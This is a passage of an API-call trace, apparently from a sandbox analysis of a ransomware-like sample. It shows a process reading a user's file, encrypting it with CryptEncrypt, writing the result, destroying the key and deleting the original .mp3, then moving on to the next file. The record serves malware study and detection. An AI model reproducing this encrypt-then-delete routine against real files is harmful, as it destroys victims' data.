lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.545] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.545] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0063.546] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x2654, lpOverlapped=0x0) returned 1 [0063.546] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.550] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.551] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.551] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.551] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.551] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.551] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.551] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.552] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.552] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.552] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.554] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.554] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x16296e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.554] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.554] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.554] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.554] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.554] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.554] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.554] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.554] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.555] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.555] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.555] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.556] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.556] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x12654, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x12660) returned 1 [0063.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.556] CharLowerBuffW (in: lpsz="byte[75361]", cchLength=0xb | out: lpsz="byte[75361]") returned 0xb [0063.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.558] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.558] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.558] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.558] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.558] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x12654, dwBufLen=0x12660 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x12660) returned 1 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.559] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.559] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.559] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.559] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.564] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.565] WriteFile (in: hFile=0x2ac, lpBuffer=0x17f3188*, nNumberOfBytesToWrite=0x12660, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17f3188*, lpNumberOfBytesWritten=0x130f01c*=0x12660, lpOverlapped=0x0) returned 1 [0063.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.566] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.566] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.567] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.567] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.567] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.567] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.567] CryptDestroyKey (hKey=0x164c9b0) returned 1 [0063.567] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.567] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.567] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.567] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.569] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.569] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.569] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.569] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.569] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.569] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.570] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.570] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.570] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.570] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.570] CryptReleaseContext (hProv=0x17ab000, dwFlags=0x0) returned 1 [0063.570] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.570] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.570] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.570] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.570] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.570] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.570] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.570] CloseHandle (hObject=0x3bc) returned 1 [0063.572] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.572] CloseHandle (hObject=0x2ac) returned 1 [0063.574] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.576] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.576] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", lpFilePart=0x0) returned 0x37 [0063.576] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\ic1 68v5evk.mp3")) returned 0x20 [0063.576] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0063.576] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\ic1 68V5EVK.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\ic1 68v5evk.mp3")) returned 1 [0063.582] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.582] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0063.582] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.582] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.582] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.582] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.582] FindFirstFileW (in: 